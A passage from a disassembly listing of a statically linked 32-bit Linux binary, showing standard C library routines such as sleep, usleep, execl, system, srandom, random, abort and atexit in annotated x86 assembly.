movzx eax, byte ptr [ebx+7] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+8] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+9], 3Ah jnz short loc_80554E8 movzx eax, byte ptr [ebx+0Ah] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+0Bh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+0Ch], 3Ah jnz short loc_80554E8 movzx eax, byte ptr [ebx+0Dh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 movzx eax, byte ptr [ebx+0Eh] test byte ptr [edx+eax*2+1], 8 jz short loc_80554E8 cmp byte ptr [ebx+0Fh], 20h jnz short loc_80554E8 add ebx, 10h loc_80554E8: ; CODE XREF: sub_80553A0+9Fj ; sub_80553A0+AEj ... mov eax, ebx sub eax, [ebp+arg_0] mov esi, [ebp+arg_4] sub esi, eax mov [ebp+var_4], esi mov eax, esi dec eax cmp edi, eax jl short loc_8055514 push eax push ebx mov esi, [ebp+arg_8] push esi call bcopy mov esi, [ebp+var_4] mov byte ptr [ebx+esi-1], 0 jmp loc_80555A4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055514: ; CODE XREF: sub_80553A0+15Aj push edi mov esi, [ebp+arg_8] push esi push ebx call sub_8056450 add esp, 0Ch test eax, eax jz short loc_80555A4 mov esi, [ebp+var_4] lea eax, [ebx+esi-1] sub eax, edi mov byte ptr [eax], 0 push 0 push ebx call strchr mov ecx, eax add esp, 8 cmp ecx, ebx jb short loc_8055599 lea edx, [ebx-1] mov eax, edx sub eax, ecx and eax, 3 cmp ecx, edx jle short loc_805556B test eax, eax jz short loc_8055578 cmp eax, 3 jge short loc_805556B cmp eax, 2 jge short loc_8055565 mov al, [ecx] mov [edi+ecx], al dec ecx loc_8055565: ; CODE XREF: sub_80553A0+1BDj mov al, [ecx] mov [edi+ecx], al dec ecx loc_805556B: ; CODE XREF: sub_80553A0+1AFj ; sub_80553A0+1B8j mov al, [ecx] mov [edi+ecx], al dec ecx cmp ecx, ebx jb short loc_8055599 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8055578: ; CODE XREF: sub_80553A0+1B3j ; sub_80553A0+1F7j mov al, [ecx] mov [edi+ecx], al mov al, [ecx-1] mov [edi+ecx-1], al mov al, [ecx-2] mov [edi+ecx-2], al mov al, [ecx-3] mov [edi+ecx-3], al add ecx, 0FFFFFFFCh cmp ecx, ebx jnb short loc_8055578 loc_8055599: ; CODE XREF: sub_80553A0+1A1j ; sub_80553A0+1D3j push edi push ebx mov esi, [ebp+arg_8] push esi call bcopy loc_80555A4: ; CODE XREF: sub_80553A0+Dj ; sub_80553A0+17j ... lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80553A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden usleep proc near ; CODE XREF: main+5B5p main+D89p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov ecx, 0F4240h xor edx, edx div ecx mov [ebp+var_8], eax mov edx, eax shl edx, 5 sub edx, eax mov eax, edx shl eax, 6 sub eax, edx shl eax, 3 add eax, [ebp+var_8] shl eax, 6 mov ecx, [ebp+arg_0] sub ecx, eax mov [ebp+var_4], ecx lea eax, [ebp+var_8] push eax ; timeout push 0 ; exceptfds push 0 ; writefds push 0 ; readfds push 1 ; n call select mov esp, ebp pop ebp retn usleep endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden execl proc near ; CODE XREF: main+975p var_8004 = dword ptr -8004h var_8000 = dword ptr -8000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 8000h push ebx mov ebx, [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_8000], eax lea ecx, [ebp+arg_8] mov edx, 1 test eax, eax jz short loc_805564A lea esi, [esi] loc_8055620: ; CODE XREF: execl+4Cj cmp edx, 1FFFh jbe short loc_8055630 mov eax, 7 jmp short loc_805565D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055630: ; CODE XREF: execl+2Aj add ecx, 4 mov eax, [ecx-4] mov [ebp+edx*4+var_8000], eax mov eax, edx inc edx cmp [ebp+eax*4+var_8000], 0 jnz short loc_8055620 loc_805564A: ; CODE XREF: execl+20j mov eax, __environ push eax lea eax, [ebp+var_8000] push eax push ebx call execve loc_805565D: ; CODE XREF: execl+31j mov ebx, [ebp+var_8004] mov esp, ebp pop ebp retn execl endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden secure_getenv proc near ; CODE XREF: init_services_resolv+22p ; init_services_resolv+A63p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea edi, [eax-1] mov ebx, __environ cmp dword ptr [ebx], 0 jz short loc_80556B8 nop loc_8055690: ; CODE XREF: secure_getenv+4Ej push edi push esi mov eax, [ebx] push eax call strncmp add esp, 0Ch test eax, eax jnz short loc_80556B0 mov eax, [ebx] cmp byte ptr [edi+eax], 3Dh jnz short loc_80556B0 lea eax, [edi+1] add eax, [ebx] jmp short loc_80556BA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80556B0: ; CODE XREF: secure_getenv+37j ; secure_getenv+3Fj add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_8055690 loc_80556B8: ; CODE XREF: secure_getenv+25j xor eax, eax loc_80556BA: ; CODE XREF: secure_getenv+46j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn secure_getenv endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80556C4 proc near ; DATA XREF: sleep+3Do push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_80556C4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sleep proc near ; CODE XREF: main+48Ap main+9C9p ... var_3C = byte ptr -3Ch var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push edi push esi push ebx mov edi, [ebp+arg_0] mov ecx, __errno mov [ebp+var_30], ecx test edi, edi jnz short loc_80556EC xor eax, eax jmp loc_80557DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80556EC: ; CODE XREF: sleep+17j mov [ebp+var_24], 2000h lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push 0 call sigprocmask add esp, 0Ch test eax, eax jl short loc_8055734 mov [ebp+var_10], offset sub_80556C4 mov [ebp+var_C], 0 mov [ebp+var_8], 0 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 0Eh call sigaction add esp, 0Ch test eax, eax jge short loc_805573C loc_8055734: ; CODE XREF: sleep+3Bj mov eax, edi jmp loc_80557DD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805573C: ; CODE XREF: sleep+66j push 0 call time mov [ebp+var_2C], eax push edi call alarm mov ebx, eax add esp, 8 test ebx, ebx jz short loc_8055784 cmp ebx, edi jnb short loc_8055784 push 0 lea eax, [ebp+var_20] push eax push 0Eh call sigaction push ebx call alarm lea eax, [ebp+var_28] push eax call sigsuspend push 0 call time mov esi, eax add esp, 18h jmp short loc_80557A6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055784: ; CODE XREF: sleep+87j sleep+8Bj lea eax, [ebp+var_28] push eax call sigsuspend push 0 call time mov esi, eax push 0 lea eax, [ebp+var_20] push eax push 0Eh call sigaction add esp, 14h loc_80557A6: ; CODE XREF: sleep+B5j mov eax, esi sub eax, [ebp+var_2C] xor esi, esi cmp eax, edi ja short loc_80557B5 mov esi, edi sub esi, eax loc_80557B5: ; CODE XREF: sleep+E3j xor edx, edx cmp eax, ebx ja short loc_80557BF mov edx, ebx sub edx, eax loc_80557BF: ; CODE XREF: sleep+EDj push edx call alarm push 0 lea eax, [ebp+var_28] push eax push 2 call sigprocmask mov ecx, [ebp+var_30] mov __errno, ecx mov eax, esi loc_80557DD: ; CODE XREF: sleep+1Bj sleep+6Aj lea esp, [ebp+var_3C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sleep endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden system proc near ; CODE XREF: main+4DDp main+A18p var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4Ch push edi push esi push ebx mov esi, [ebp+arg_0] test esi, esi jnz short loc_8055804 mov eax, 1 jmp loc_8055993 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055804: ; CODE XREF: system+Ej mov [ebp+var_10], 1 mov [ebp+var_8], 0 mov [ebp+var_C], 0 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 2 call sigaction add esp, 0Ch test eax, eax jl short loc_80558AA lea eax, [ebp+var_30] push eax lea eax, [ebp+var_10] push eax push 3 call sigaction add esp, 0Ch test eax, eax jge short loc_8055858 mov ebx, __errno push 0 lea eax, [ebp+var_20] push eax push 2 jmp short loc_805589F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055858: ; CODE XREF: system+5Bj mov [ebp+var_34], 10000h mov ebx, __errno lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax push 0 call sigprocmask add esp, 0Ch test eax, eax jge short loc_80558BA cmp __errno, 26h jz short loc_80558B4 mov ebx, __errno push 0 lea eax, [ebp+var_20] push eax push 2 call sigaction push 0 lea eax, [ebp+var_30] push eax push 3 loc_805589F: ; CODE XREF: system+6Bj call sigaction mov __errno, ebx loc_80558AA: ; CODE XREF: system+45j system+19Cj mov eax, 0FFFFFFFFh jmp loc_8055993 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80558B4: ; CODE XREF: system+9Aj mov __errno, ebx loc_80558BA: ; CODE XREF: system+91j call fork mov ebx, eax test ebx, ebx jnz short loc_8055924 mov [ebp+var_48], offset aSh_0 ; "sh" mov [ebp+var_44], offset aC_0 ; "-c" mov [ebp+var_40], esi mov [ebp+var_3C], 0 push 0 lea eax, [ebp+var_20] push eax push 2 call sigaction push 0 lea eax, [ebp+var_30] push eax push 3 call sigaction push 0 lea eax, [ebp+var_38] push eax push 2 call sigprocmask add esp, 24h mov eax, __environ push eax lea eax, [ebp+var_48] push eax push offset aBinSh_0 ; "/bin/sh" call execve push 7Fh call _exit lea esi, [esi] loc_8055924: ; CODE XREF: system+DBj test ebx, ebx jl short loc_805593B push 0 lea eax, [ebp+var_4C] push eax push ebx call wait4 add esp, 0Ch cmp eax, ebx jz short loc_8055942 loc_805593B: ; CODE XREF: system+13Ej mov [ebp+var_4C], 0FFFFFFFFh loc_8055942: ; CODE XREF: system+151j mov ebx, __errno push 0 lea eax, [ebp+var_20] push eax push 2 call sigaction mov edi, eax push 0 lea eax, [ebp+var_30] push eax push 3 call sigaction mov esi, eax push 0 lea eax, [ebp+var_38] push eax push 2 call sigprocmask mov edx, eax mov eax, edi or eax, esi or eax, edx jz short loc_8055990 cmp __errno, 26h jnz loc_80558AA mov __errno, ebx loc_8055990: ; CODE XREF: system+193j mov eax, [ebp+var_4C] loc_8055993: ; CODE XREF: system+15j system+C7j lea esp, [ebp+var_58] pop ebx pop esi pop edi mov esp, ebp pop ebp retn system endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __srandom proc near ; CODE XREF: main+120p main+304p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov edx, [ebp+arg_0] mov eax, dword_8078958 mov [eax], edx cmp dword_807895C, 0 jz loc_8055BB0 mov esi, 1 cmp dword_8078960, esi jle loc_8055B74 mov edi, dword_8078958 mov eax, dword_8078960 dec eax and eax, 3 cmp dword_8078960, esi jle short loc_8055A5D test eax, eax jz loc_8055A9C cmp eax, 1 jle short loc_8055A5D cmp eax, 2 jle short loc_8055A2C mov ecx, [edi+esi*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+4], eax mov esi, 2 loc_8055A2C: ; CODE XREF: __srandom+55j mov ecx, [edi+esi*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+esi*4], eax inc esi loc_8055A5D: ; CODE XREF: __srandom+43j ; __srandom+50j mov ecx, [edi+esi*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+esi*4], eax inc esi cmp dword_8078960, esi jle loc_8055B74 lea esi, [esi] loc_8055A9C: ; CODE XREF: __srandom+47j ; __srandom+1CEj mov ecx, [edi+esi*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+esi*4], eax lea ebx, [esi+1] mov ecx, [edi+ebx*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+ebx*4], eax lea ebx, [esi+2] mov ecx, [edi+ebx*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+ebx*4], eax lea ebx, [esi+3] mov ecx, [edi+ebx*4-4] lea edx, [ecx+ecx*2] shl edx, 8 add edx, ecx lea edx, [edx+edx*4] mov eax, edx shl eax, 0Ah add edx, eax lea edx, [ecx+edx*2] lea eax, ds:0[edx*8] sub eax, edx lea eax, [ecx+eax*4] lea eax, [eax+eax*4] add eax, 3039h mov [edi+ebx*4], eax add esi, 4 cmp dword_8078960, esi jg loc_8055A9C loc_8055B74: ; CODE XREF: __srandom+28j ; __srandom+F4j mov ebx, dword_8078964 lea eax, ds:0[ebx*4] add eax, dword_8078958 mov dword_8078950, eax mov eax, dword_8078958 mov dword_8078954, eax xor esi, esi jmp short loc_8055BA2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055B9C: ; CODE XREF: __srandom+20Ej call __random inc esi loc_8055BA2: ; CODE XREF: __srandom+1F8j mov eax, dword_8078960 lea edx, [eax+eax*8] add edx, eax cmp esi, edx jl short loc_8055B9C loc_8055BB0: ; CODE XREF: __srandom+17j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn __srandom endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8055BBC proc near var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov ecx, [ebp+arg_8] mov ebx, dword_8078958 add ebx, 0FFFFFFFCh cmp dword_807895C, 0 jnz short loc_8055BE8 mov eax, dword_8078958 mov dword ptr [eax-4], 0 jmp short loc_8055C04 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055BE8: ; CODE XREF: sub_8055BBC+1Cj mov edx, dword_8078958 mov eax, dword_8078954 sub eax, edx sar eax, 2 lea eax, [eax+eax*4] add eax, dword_807895C mov [edx-4], eax loc_8055C04: ; CODE XREF: sub_8055BBC+2Aj cmp ecx, 1Fh ja short loc_8055C44 cmp ecx, 7 ja short loc_8055C20 mov __errno, 16h xor eax, eax jmp loc_8055D2E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055C20: ; CODE XREF: sub_8055BBC+50j mov dword_807895C, 0 mov dword_8078960, 0 mov dword_8078964, 0 jmp loc_8055CCE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055C44: ; CODE XREF: sub_8055BBC+4Bj cmp ecx, 3Fh ja short loc_8055C6C mov dword_807895C, 1 mov dword_8078960, 7 mov dword_8078964, 3 jmp short loc_8055CCE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055C6C: ; CODE XREF: sub_8055BBC+8Bj cmp ecx, 7Fh ja short loc_8055C88 mov dword_807895C, 2 mov dword_8078960, 0Fh jmp short loc_8055CC4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055C88: ; CODE XREF: sub_8055BBC+B3j cmp ecx, 0FFh ja short loc_8055CB0 mov dword_807895C, 3 mov dword_8078960, 1Fh mov dword_8078964, 3 jmp short loc_8055CCE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055CB0: ; CODE XREF: sub_8055BBC+D2j mov dword_807895C, 4 mov dword_8078960, 3Fh loc_8055CC4: ; CODE XREF: sub_8055BBC+C9j mov dword_8078964, 1 loc_8055CCE: ; CODE XREF: sub_8055BBC+82j ; sub_8055BBC+ABj ... mov edi, [ebp+arg_4] add edi, 4 mov dword_8078958, edi mov edi, dword_8078960 lea eax, ds:0[edi*4] add eax, dword_8078958 mov dword_8078968, eax push esi call __srandom cmp dword_807895C, 0 jnz short loc_8055D10 mov eax, dword_8078958 mov dword ptr [eax-4], 0 jmp short loc_8055D2C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8055D10: ; CODE XREF: sub_8055BBC+143j mov edx, dword_8078958 mov eax, dword_8078954 sub eax, edx sar eax, 2 lea eax, [eax+eax*4] add eax, dword_807895C mov [edx-4], eax loc_8055D2C: ; CODE XREF: sub_8055BBC+151j mov eax, ebx loc_8055D2E: ; CODE XREF: sub_8055BBC+5Ej lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8055BBC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8055D38 proc near var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov ebx, [ebp+arg_0] mov eax, [ebx] mov edi, 5 cdq idiv edi mov ecx, edx mov esi, eax mov edx, dword_8078958 add edx, 0FFFFFFFCh mov [ebp+var_4], edx cmp dword_807895C, 0 jnz short loc_8055D78 mov eax, dword_8078958 mov dword ptr [eax-4], 0 jmp short loc_8055D94 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055D78: ; CODE XREF: sub_8055D38+2Dj mov edx, dword_8078958 mov eax, dword_8078954 sub eax, edx sar eax, 2 lea eax, [eax+eax*4] add eax, dword_807895C mov [edx-4], eax loc_8055D94: ; CODE XREF: sub_8055D38+3Bj cmp ecx, 4 jg short loc_8055DC0 test ecx, ecx jl short loc_8055DC0 mov dword_807895C, ecx mov eax, dword_80788A8[ecx*4] mov dword_8078960, eax mov eax, dword_80788BC[ecx*4] mov dword_8078964, eax jmp short loc_8055DD0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055DC0: ; CODE XREF: sub_8055D38+5Fj ; sub_8055D38+63j mov __errno, 16h xor eax, eax jmp short loc_8055E2C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055DD0: ; CODE XREF: sub_8055D38+83j add ebx, 4 mov dword_8078958, ebx cmp dword_807895C, 0 jz short loc_8055E11 lea eax, ds:0[esi*4] add eax, ebx mov dword_8078954, eax mov eax, esi add eax, dword_8078964 cdq idiv dword_8078960 lea eax, ds:0[edx*4] add eax, dword_8078958 mov dword_8078950, eax loc_8055E11: ; CODE XREF: sub_8055D38+A8j mov edi, dword_8078960 lea eax, ds:0[edi*4] add eax, dword_8078958 mov dword_8078968, eax mov eax, [ebp+var_4] loc_8055E2C: ; CODE XREF: sub_8055D38+94j lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8055D38 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden __random proc near ; CODE XREF: sub_8049174+163p ; sub_8049174+1C4p ... push ebp mov ebp, esp cmp dword_807895C, 0 jnz short loc_8055E68 mov eax, dword_8078958 imul edx, [eax], 41C64E6Dh add edx, 3039h and edx, 7FFFFFFFh mov [eax], edx mov eax, dword_8078958 mov eax, [eax] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055E68: ; CODE XREF: __random+Aj mov edx, dword_8078950 mov eax, dword_8078954 mov eax, [eax] add [edx], eax mov eax, dword_8078950 mov edx, [eax] shr edx, 1 add dword_8078950, 4 mov eax, dword_8078950 cmp dword_8078968, eax ja short loc_8055EA8 mov eax, dword_8078958 mov dword_8078950, eax add dword_8078954, 4 jmp short loc_8055EC6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8055EA8: ; CODE XREF: __random+5Bj add dword_8078954, 4 mov eax, dword_8078954 cmp dword_8078968, eax ja short loc_8055EC6 mov eax, dword_8078958 mov dword_8078954, eax loc_8055EC6: ; CODE XREF: __random+6Ej __random+82j mov eax, edx mov esp, ebp pop ebp retn __random endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden abort proc near ; CODE XREF: getanswer+5D8p ; sub_8058094+573p var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], 20h push 0 lea eax, [ebp+var_4] push eax push 1 ; SIG_UNBLOCK call sigprocmask add esp, 0Ch call sub_8062188 lea esi, [esi] loc_8055EF0: ; CODE XREF: abort+30j push 6 ; SIGABRT call raise add esp, 4 test eax, eax jz short loc_8055EF0 push 7Fh call _exit db 8Dh,76h,0 ; lea esi, [esi+0] abort endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden atexit proc near ; CODE XREF: start+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] call __new_exitfn test eax, eax jz short loc_8055F28 mov dword ptr [eax], 2 mov [eax+4], ebx xor eax, eax jmp short loc_8055F2D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 